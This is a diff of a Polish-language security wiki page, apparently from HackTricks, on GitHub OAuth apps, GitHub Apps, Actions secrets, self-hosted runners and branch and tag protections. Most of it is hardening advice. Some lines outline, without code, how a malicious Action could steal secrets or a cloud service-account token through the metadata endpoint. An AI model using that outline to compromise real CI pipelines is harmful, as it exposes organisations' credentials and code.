-- Możesz zobaczyć wszystkie **aplikacje Oauth, które mają dostęp do twojego konta** w [https://github.com/settings/applications](https://github.com/settings/applications)
-- Możesz zobaczyć **zakresy, o które mogą prosić aplikacje Oauth** w [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
-- Możesz zobaczyć dostęp aplikacji stron trzecich w **organizacji** w _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
+- Możesz **create** własne **Oauth applications** w [https://github.com/settings/developers](https://github.com/settings/developers)
+- Możesz zobaczyć wszystkie **Oauth applications that has access to your account** w [https://github.com/settings/applications](https://github.com/settings/applications)
+- Możesz zobaczyć **scopes that Oauth Apps can ask for** w [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
+- Możesz zobaczyć third party access aplikacji w organizacji w _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
 
-Kilka **zalecenia dotyczące bezpieczeństwa**:
+Kilka **rekomendacji bezpieczeństwa**:
 
-- **Aplikacja OAuth** powinna zawsze **działać jako uwierzytelniony użytkownik GitHub we wszystkich aspektach GitHub** (na przykład, gdy dostarcza powiadomienia użytkownika) i mieć dostęp tylko do określonych zakresów.
-- Aplikacja OAuth może być używana jako dostawca tożsamości, włączając "Logowanie z GitHub" dla uwierzytelnionego użytkownika.
-- **Nie** buduj **aplikacji OAuth**, jeśli chcesz, aby twoja aplikacja działała na **pojedynczym repozytorium**. Z zakresem `repo`, aplikacje OAuth mogą **działać na _wszystkich_** repozytoriach uwierzytelnionego użytkownika.
-- **Nie** buduj aplikacji OAuth, aby działała jako aplikacja dla twojego **zespołu lub firmy**. Aplikacje OAuth uwierzytelniają się jako **pojedynczy użytkownik**, więc jeśli jedna osoba stworzy aplikację OAuth dla firmy do użycia, a następnie opuści firmę, nikt inny nie będzie miał do niej dostępu.
-- **Więcej** w [tutaj](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
+- An **OAuth App** powinno zawsze **act as the authenticated GitHub user across all of GitHub** (np. przy wysyłaniu powiadomień użytkownikowi) i mieć dostęp tylko do określonych scopes.
+- An OAuth App może być użyte jako identity provider poprzez włączenie "Login with GitHub" dla uwierzytelnionego użytkownika.
+- **Don't** budować **OAuth App** jeśli chcesz, aby twoja aplikacja działała na **single repository**. Z uprawnieniem `repo`, OAuth Apps mogą **act on _all_ of the authenticated user's repositories**.
+- **Don't** budować OAuth App, aby działać jako aplikacja dla twojego **team or company**. OAuth Apps uwierzytelniają się jako **single user**, więc jeśli jedna osoba tworzy OAuth App dla firmy, a potem odchodzi, nikt inny nie będzie miał do niej dostępu.
+- **More** w [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
 
-### Aplikacje Github
+### Github Applications
 
-Aplikacje Github mogą prosić o uprawnienia do **uzyskania dostępu do twoich informacji github lub podszywania się pod ciebie** w celu wykonania określonych działań na określonych zasobach. W aplikacjach Github musisz określić repozytoria, do których aplikacja będzie miała dostęp.
+Github applications mogą prosić o uprawnienia, by **access your github information or impersonate you** i wykonać specyficzne akcje na określonych zasobach. W Github Apps musisz określić repositories, do których aplikacja będzie miała dostęp.
 
-- Aby zainstalować aplikację GitHub, musisz być **właścicielem organizacji lub mieć uprawnienia administratora** w repozytorium.
-- Aplikacja GitHub powinna **łączyć się z osobistym kontem lub organizacją**.
-- Możesz stworzyć własną aplikację Github w [https://github.com/settings/apps](https://github.com/settings/apps)
-- Możesz zobaczyć wszystkie **aplikacje Github, które mają dostęp do twojego konta** w [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
-- To są **punkty końcowe API dla aplikacji Github** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). W zależności od uprawnień aplikacji, będzie mogła uzyskać dostęp do niektórych z nich.
-- Możesz zobaczyć zainstalowane aplikacje w **organizacji** w _https://github.com/organizations/\<org_name>/settings/installations_
+- Aby zainstalować GitHub App, musisz być **organisation owner lub mieć admin permissions** w repo.
+- GitHub App powinien **connect to a personal account or an organisation**.
+- Możesz stworzyć własną Github application w [https://github.com/settings/apps](https://github.com/settings/apps)
+- Możesz zobaczyć wszystkie **Github applications that has access to your account** w [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
+- To są **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). W zależności od uprawnień App będzie mogło mieć dostęp do niektórych z nich.
+- Możesz zobaczyć zainstalowane apps w organizacji w _https://github.com/organizations/\<org_name>/settings/installations_
 
-Kilka zaleceń dotyczących bezpieczeństwa:
+Kilka rekomendacji bezpieczeństwa:
 
-- Aplikacja GitHub powinna **podejmować działania niezależnie od użytkownika** (chyba że aplikacja używa tokena [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Aby zachować większe bezpieczeństwo tokenów dostępu user-to-server, możesz używać tokenów dostępu, które wygasają po 8 godzinach, oraz tokena odświeżającego, który można wymienić na nowy token dostępu. Aby uzyskać więcej informacji, zobacz "[Odświeżanie tokenów dostępu user-to-server](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
-- Upewnij się, że aplikacja GitHub integruje się z **określonymi repozytoriami**.
-- Aplikacja GitHub powinna **łączyć się z osobistym kontem lub organizacją**.
-- Nie oczekuj, że aplikacja GitHub będzie wiedziała i robiła wszystko, co może użytkownik.
-- **Nie używaj aplikacji GitHub, jeśli potrzebujesz tylko usługi "Logowanie z GitHub"**. Ale aplikacja GitHub może używać [przepływu identyfikacji użytkownika](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) do logowania użytkowników _i_ wykonywania innych działań.
-- Nie buduj aplikacji GitHub, jeśli _tylko_ chcesz działać jako użytkownik GitHub i robić wszystko, co ten użytkownik może zrobić.
-- Jeśli używasz swojej aplikacji z GitHub Actions i chcesz modyfikować pliki robocze, musisz uwierzytelnić się w imieniu użytkownika za pomocą tokena OAuth, który zawiera zakres `workflow`. Użytkownik musi mieć uprawnienia administratora lub zapisu do repozytorium, które zawiera plik roboczy. Aby uzyskać więcej informacji, zobacz "[Zrozumienie zakresów dla aplikacji OAuth](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
-- **Więcej** w [tutaj](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
+- GitHub App powinien **take actions independent of a user** (chyba że aplikacja używa [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). Aby utrzymać user-to-server access tokens bezpieczniejszymi, możesz użyć access tokens, które wygasają po 8 godzinach, oraz refresh tokena, który można wymienić na nowy access token. Więcej informacji w "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
+- Upewnij się, że GitHub App integruje się ze **specific repositories**.
+- GitHub App powinien **connect to a personal account or an organisation**.
+- Nie oczekuj, że GitHub App będzie wiedział i robił wszystko, co użytkownik potrafi.
+- **Don't use a GitHub App if you just need a "Login with GitHub" service**. Jednak GitHub App może użyć [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) do logowania użytkowników _and_ wykonywania innych rzeczy.
+- Nie twórz GitHub App jeśli chcesz _only_ działać jako użytkownik GitHub i robić wszystko, co ten użytkownik może.
+- Jeśli używasz swojej aplikacji z Github Actions i chcesz modyfikować workflow files, musisz uwierzytelnić się w imieniu użytkownika za pomocą OAuth tokena, który zawiera scope `workflow`. Użytkownik musi mieć admin lub write permission do repo, które zawiera workflow file. Więcej informacji w "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
+- **More** w [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
 
 ### Github Actions
 
-To **nie jest sposób na uwierzytelnienie w githubie**, ale **złośliwa** akcja Github mogłaby uzyskać **nieautoryzowany dostęp do githuba** i **w zależności** od **uprawnień** przyznanych akcji, mogłoby zostać przeprowadzone kilka **różnych ataków**. Zobacz poniżej więcej informacji.
+To **nie jest sposób na uwierzytelnianie w github**, ale **złośliwy** Github Action może uzyskać **unauthorised access to github** i **w zależności** od **privileges** nadanych Action może wykonać kilka **różnych ataków**. Zobacz niżej po więcej informacji.
 
-## Akcje Git
+## Git Actions
 
-Akcje Git pozwalają na automatyzację **wykonywania kodu, gdy wystąpi zdarzenie**. Zwykle wykonywany kod jest **w jakiś sposób związany z kodem repozytorium** (może budować kontener docker lub sprawdzać, czy PR nie zawiera sekretów).
+Git actions pozwalają automatyzować **execution of code when an event happen**. Zazwyczaj wykonywany kod jest **jakoś powiązany z kodem repozytorium** (np. budowanie docker container lub sprawdzenie, że PR nie zawiera sekretów).
 
-### Konfiguracja
+### Configuration
 
-W _https://github.com/organizations/\<org_name>/settings/actions_ można sprawdzić **konfigurację akcji github** dla organizacji.
+W _https://github.com/organizations/\<org_name>/settings/actions_ można sprawdzić **configuration of the github actions** dla organizacji.
 
-Możliwe jest całkowite zabronienie używania akcji github, **zezwolenie na wszystkie akcje github** lub zezwolenie tylko na niektóre akcje.
+Można całkowicie wyłączyć użycie github actions, **allow all github actions**, lub tylko zezwolić na określone actions.
 
-Możliwe jest również skonfigurowanie **kto potrzebuje zatwierdzenia do uruchomienia akcji Github** oraz **uprawnienia GITHUB_TOKEN** akcji Github, gdy jest uruchamiana.
+Można także skonfigurować **who needs approval to run a Github Action** oraz **permissions of the GITHUB_TOKEN** dla Github Action podczas jego uruchomienia.
 
-### Sekrety Git
+### Git Secrets
 
-Akcje Github zazwyczaj potrzebują jakiegoś rodzaju sekretów do interakcji z githubem lub aplikacjami stron trzecich. Aby **uniknąć umieszczania ich w postaci czystego tekstu** w repozytorium, github pozwala na umieszczanie ich jako **Sekrety**.
+Github Action zwykle potrzebują jakichś sekretów, by wchodzić w interakcję z github lub aplikacjami third party. Aby **uniknąć umieszczania ich w clear-text** w repo, github pozwala umieścić je jako **Secrets**.
 
-Te sekrety mogą być skonfigurowane **dla repozytorium lub dla całej organizacji**. Następnie, aby **Akcja mogła uzyskać dostęp do sekretu**, musisz zadeklarować go w ten sposób:
+Te secrets mogą być skonfigurowane **dla repo lub dla całej organization**. Następnie, aby **Action miał dostęp do secret** musisz zadeklarować go w następujący sposób:
 ```yaml
 steps:
 - name: Hello world action
@@ -168,75 +168,90 @@ run: |
 example-command "$SUPER_SECRET"
 ```
 > [!WARNING]
-> Sekrety **mogą być dostępne tylko z Github Actions**, które je zadeklarowały.
+> Secrets **can only be accessed from the Github Actions** które je zadeklarowały.
 
-> Po skonfigurowaniu w repozytorium lub organizacjach **użytkownicy githuba nie będą mogli uzyskać do nich ponownie dostępu**, będą mogli jedynie **je zmienić**.
+> Po skonfigurowaniu w repo lub w organizacji **użytkownicy github nie będą już mieli do nich dostępu**, będą mogli jedynie je **zmieniać**.
 
-Dlatego **jedynym sposobem na kradzież sekretów githuba jest uzyskanie dostępu do maszyny, która wykonuje Github Action** (w tym scenariuszu będziesz mógł uzyskać dostęp tylko do sekretów zadeklarowanych dla tej Akcji).
+W związku z tym, **jedynym sposobem na kradzież github secrets jest uzyskanie dostępu do maszyny wykonującej Github Action** (w takim scenariuszu będziesz mieć dostęp tylko do secrets zadeklarowanych dla tej Action).
 
-### Git Environments
+### Środowiska Git
 
-Github pozwala na tworzenie **środowisk**, w których możesz przechowywać **sekrety**. Następnie możesz dać github action dostęp do sekretów w środowisku za pomocą czegoś takiego jak:
+Github pozwala tworzyć **environments**, gdzie możesz przechowywać **secrets**. Następnie możesz dać github action dostęp do secrets wewnątrz environment przy użyciu czegoś takiego:
 ```yaml
 jobs:
 deployment:
 runs-on: ubuntu-latest
 environment: env_name
 ```
-Możesz skonfigurować środowisko, aby było **dostępne** dla **wszystkich gałęzi** (domyślnie), **tylko chronionych** gałęzi lub **określić**, które gałęzie mogą uzyskać do niego dostęp.\
-Można również ustawić **liczbę wymaganych recenzji** przed **wykonaniem** **akcji** przy użyciu **środowiska** lub **czekać** przez **czas** przed pozwoleniem na kontynuację wdrożeń.
+You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\
+Additionally, environment protections include:
+- **Required reviewers**: blokuje joby kierujące do environment aż do zatwierdzenia. Włącz **Prevent self-review**, aby egzekwować zasadę czterech oczu przy samym zatwierdzeniu.
+- **Deployment branches and tags**: ogranicza, które branches/tags mogą deployować do environment. Lepiej wybierać konkretne branches/tags i upewnić się, że te branches są chronione. Uwaga: opcja "Protected branches only" odnosi się do klasycznych zabezpieczeń branchy i może nie zachowywać się zgodnie z oczekiwaniami przy użyciu rulesets.
+- **Wait timer**: opóźnia deployments o konfigurowalny okres.
 
+Można również ustawić **number of required reviews** przed **executing** **an** **action** używając **environment** lub **wait** pewien **time** zanim zezwoli się na kontynuację deployments.
 ### Git Action Runner
 
-Akcja Github może być **wykonywana w środowisku github** lub może być wykonywana w **infrastrukturze zewnętrznej** skonfigurowanej przez użytkownika.
+A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user.
 
-Wiele organizacji pozwala na uruchamianie Akcji Github w **infrastrukturze zewnętrznej**, ponieważ zazwyczaj jest to **tańsze**.
+Wiele organizacji pozwala uruchamiać Github Actions w **third party infrastructure**, ponieważ zwykle jest to **cheaper**.
 
-Możesz **wymienić samodzielnie hostowane runner'y** organizacji w _https://github.com/organizations/\<org_name>/settings/actions/runners_
+Możesz wyświetlić listę **self-hosted runners** organizacji pod adresem _https://github.com/organizations/\<org_name>/settings/actions/runners_
 
-Sposobem na znalezienie, które **Akcje Github są wykonywane w infrastrukturze nie-github** jest wyszukiwanie `runs-on: self-hosted` w konfiguracji yaml Akcji Github.
+Sposób na znalezienie, które **Github Actions are being executed in non-github infrastructure** to wyszukanie `runs-on: self-hosted` w pliku konfiguracyjnym Github Action yaml.
 
-**Nie jest możliwe uruchomienie Akcji Github organizacji w samodzielnie hostowanej maszynie** innej organizacji, ponieważ **generowany jest unikalny token dla Runner'a** podczas jego konfiguracji, aby wiedzieć, do której organizacji należy.
+It's **not possible to run a Github Action of an organization inside a self hosted box** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs.
 
-Jeśli niestandardowy **Github Runner jest skonfigurowany na maszynie w AWS lub GCP**, na przykład, Akcja **może mieć dostęp do punktu końcowego metadanych** i **ukraść token konta usługi**, z którym działa maszyna.
+If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the service account** the machine is running with.
 
 ### Git Action Compromise
 
-Jeśli wszystkie akcje (lub złośliwa akcja) są dozwolone, użytkownik mógłby użyć **Akcji Github**, która jest **złośliwa** i **skomprymuje** **kontener**, w którym jest wykonywana.
+If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed.
 
 > [!CAUTION]
-> Uruchomiona **złośliwa Akcja Github** mogłaby być **wykorzystana** przez atakującego do:
+> Uruchomienie **malicious Github Action** może zostać wykorzystane przez atakującego do:
 >
-> - **Kraść wszystkie sekrety**, do których Akcja ma dostęp
-> - **Przemieszczać się lateralnie**, jeśli Akcja jest wykonywana w **infrastrukturze zewnętrznej**, gdzie token SA użyty do uruchomienia maszyny może być dostępny (prawdopodobnie za pośrednictwem usługi metadanych)
-> - **Wykorzystywać token** użyty przez **workflow** do **kradzieży kodu repozytorium**, w którym Akcja jest wykonywana lub **nawet jego modyfikacji**.
+> - **Steal all the secrets** do których Action ma dostęp
+> - **Move laterally** jeśli Action jest uruchomiona w **third party infrastructure**, gdzie token SA używany do uruchomienia maszyny może być dostępny (prawdopodobnie przez metadata service)
+> - **Abuse the token** użyty przez **workflow** aby **steal the code of the repo** gdzie Action jest uruchomiona lub **nawet go modify**.
 
 ## Branch Protections
 
-Ochrony gałęzi są zaprojektowane, aby **nie dawać pełnej kontroli nad repozytorium** użytkownikom. Celem jest **wprowadzenie kilku metod ochrony przed możliwością pisania kodu w niektórej gałęzi**.
+Branch protections mają na celu, aby użytkownicy **nie uzyskali pełnej kontroli nad repozytorium**. Celem jest **wprowadzenie kilku metod ochrony zanim będzie można zapisać kod w danej branch**.
 
-**Ochrony gałęzi repozytorium** można znaleźć w _https://github.com/\<orgname>/\<reponame>/settings/branches_
+Ustawienia **branch protections of a repository** można znaleźć pod adresem _https://github.com/\<orgname>/\<reponame>/settings/branches_
 
 > [!NOTE]
-> **Nie jest możliwe ustawienie ochrony gałęzi na poziomie organizacji**. Wszystkie muszą być zadeklarowane w każdym repozytorium.
+> Nie jest **possible to set a branch protection at organization level**. Wszystkie muszą być zadeklarowane w każdym repo.
 
-Różne ochrony mogą być stosowane do gałęzi (jak do master):
+Różne zabezpieczenia można zastosować do branch (np. master):
 
-- Możesz **wymagać PR przed scaleniem** (więc nie możesz bezpośrednio scalać kodu w gałęzi). Jeśli to zostanie wybrane, mogą być wprowadzone różne inne ochrony:
-- **Wymagaj liczby zatwierdzeń**. Bardzo często wymaga się, aby 1 lub 2 inne osoby zatwierdziły Twój PR, aby pojedynczy użytkownik nie mógł bezpośrednio scalać kodu.
-- **Odrzuć zatwierdzenia, gdy nowe commity są przesyłane**. W przeciwnym razie użytkownik może zatwierdzić legalny kod, a następnie dodać złośliwy kod i go scalić.
-- **Wymagaj recenzji od Właścicieli Kodu**. Co najmniej 1 właściciel kodu repozytorium musi zatwierdzić PR (więc "przypadkowi" użytkownicy nie mogą go zatwierdzić).
-- **Ogranicz, kto może odrzucać recenzje pull requestów.** Możesz określić osoby lub zespoły uprawnione do odrzucania recenzji pull requestów.
-- **Zezwól określonym aktorom na ominięcie wymagań pull requestów**. Ci użytkownicy będą mogli ominąć wcześniejsze ograniczenia.
-- **Wymagaj, aby kontrole statusu przeszły przed scaleniem.** Niektóre kontrole muszą przejść przed możliwością scalania commita (jak akcja github sprawdzająca, czy nie ma żadnych jawnych sekretów).
-- **Wymagaj rozwiązania rozmowy przed scaleniem**. Wszystkie komentarze dotyczące kodu muszą być rozwiązane przed scaleniem PR.
-- **Wymagaj podpisanych commitów**. Commity muszą być podpisane.
-- **Wymagaj liniowej historii.** Zapobiegaj przesyłaniu commitów scalających do pasujących gałęzi.
-- **Uwzględnij administratorów**. Jeśli to nie jest ustawione, administratorzy mogą ominąć ograniczenia.
-- **Ogranicz, kto może przesyłać do pasujących gałęzi**. Ogranicz, kto może wysłać PR.
+- Możesz **require a PR before merging** (czyli nie możesz bezpośrednio merge'ować kodu do branch). Jeśli to zostanie wybrane, mogą obowiązywać różne inne zabezpieczenia:
+- **Require a number of approvals**. Często wymaga się 1 lub 2 dodatkowych osób do zatwierdzenia PR, żeby pojedynczy użytkownik nie mógł bezpośrednio merge'ować kodu.
+- **Dismiss approvals when new commits are pushed**. W przeciwnym razie użytkownik może zatwierdzić legalny kod, a potem dodać złośliwy kod i go zmerge'ować.
+- **Require approval of the most recent reviewable push**. Zapewnia, że wszelkie nowe commity po zatwierdzeniu (włącznie z pushami innych współpracowników) ponownie wywołują review, więc atakujący nie może wprowadzić zmian po zatwierdzeniu i zmerge'ować ich.
+- **Require reviews from Code Owners**. Przynajmniej 1 Code Owner repo musi zatwierdzić PR (więc "random" użytkownicy nie mogą go zatwierdzić).
+- **Restrict who can dismiss pull request reviews.** Możesz określić osoby lub zespoły uprawnione do cofania review pull requestów.
+- **Allow specified actors to bypass pull request requirements**. Wyznaczeni aktorzy będą mogli ominąć poprzednie ograniczenia.
+- **Require status checks to pass before merging.** Niektóre checks muszą przejść przed możliwością merge'owania commita (np. GitHub App raportujące wyniki SAST). Tip: powiąż wymagane checks z konkretną GitHub App; w przeciwnym razie każda aplikacja mogłaby sfałszować check przez Checks API, a wiele botów akceptuje dyrektywy skip (np. "@bot-name skip").
+- **Require conversation resolution before merging**. Wszystkie komentarze w kodzie muszą być rozwiązane zanim PR będzie mógł zostać zmerge'owany.
+- **Require signed commits**. Commity muszą być podpisane.
+- **Require linear history.** Zapobiega pushowaniu merge commitów do pasujących branchy.
+- **Include administrators**. Jeśli to nie jest ustawione, admini mogą ominąć ograniczenia.
+- **Restrict who can push to matching branches**. Ogranicz, kto może pushować do pasujących branchy oraz kto może tworzyć PR.
 
 > [!NOTE]
-> Jak widać, nawet jeśli udało Ci się uzyskać jakieś dane uwierzytelniające użytkownika, **repozytoria mogą być chronione, co uniemożliwia Ci przesyłanie kodu do master**, na przykład, aby skompromitować pipeline CI/CD.
+> Jak widać, nawet jeśli uda ci się zdobyć poświadczenia użytkownika, **repozytoria mogą być chronione uniemożliwiając ci pushowanie kodu do master**, co np. zapobiega skompromitowaniu pipeline'u CI/CD.
+
+## Tag Protections
+
+Tagi (np. latest, stable) są domyślnie mutowalne. Aby wymusić zasadę czterech oczu przy aktualizacjach tagów, chroń tagi i połącz zabezpieczenia przez environments i branchy:
+
+1) W regule ochrony tagów włącz **Require deployments to succeed** i wymagaj pomyślnego deploymentu do chronionego environment (np. prod).
+2) W docelowym environment ogranicz **Deployment branches and tags** do gałęzi release (np. main) i opcjonalnie skonfiguruj **Required reviewers** z włączonym **Prevent self-review**.
+3) Na gałęzi release skonfiguruj branch protections tak, aby **Require a pull request**, ustaw approvals ≥ 1 oraz włącz zarówno **Dismiss approvals when new commits are pushed**, jak i **Require approval of the most recent reviewable push**.
+
+Taki łańcuch zapobiega temu, by pojedynczy współpracownik mógł przetagować lub force-publishować release'y przez edycję workflow YAML, ponieważ bramy deploymentu są egzekwowane poza workflowami.
 
 ## References
 
@@ -245,5 +260,10 @@ Różne ochrony mogą być stosowane do gałęzi (jak do master):
 - [https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github](https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github)
 - [https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards](https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards)
 - [https://docs.github.com/en/actions/security-guides/encrypted-secrets](https://docs.github.com/en/actions/security-guides/encrypted-secrets)
+- [https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions)
+- [https://securitylab.github.com/resources/github-actions-untrusted-input/](https://securitylab.github.com/resources/github-actions-untrusted-input/)
+- [https://docs.github.com/en/rest/checks/runs](https://docs.github.com/en/rest/checks/runs)
+- [https://docs.github.com/en/apps](https://docs.github.com/en/apps)
+- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
 
 {{#include ../../banners/hacktricks-training.md}}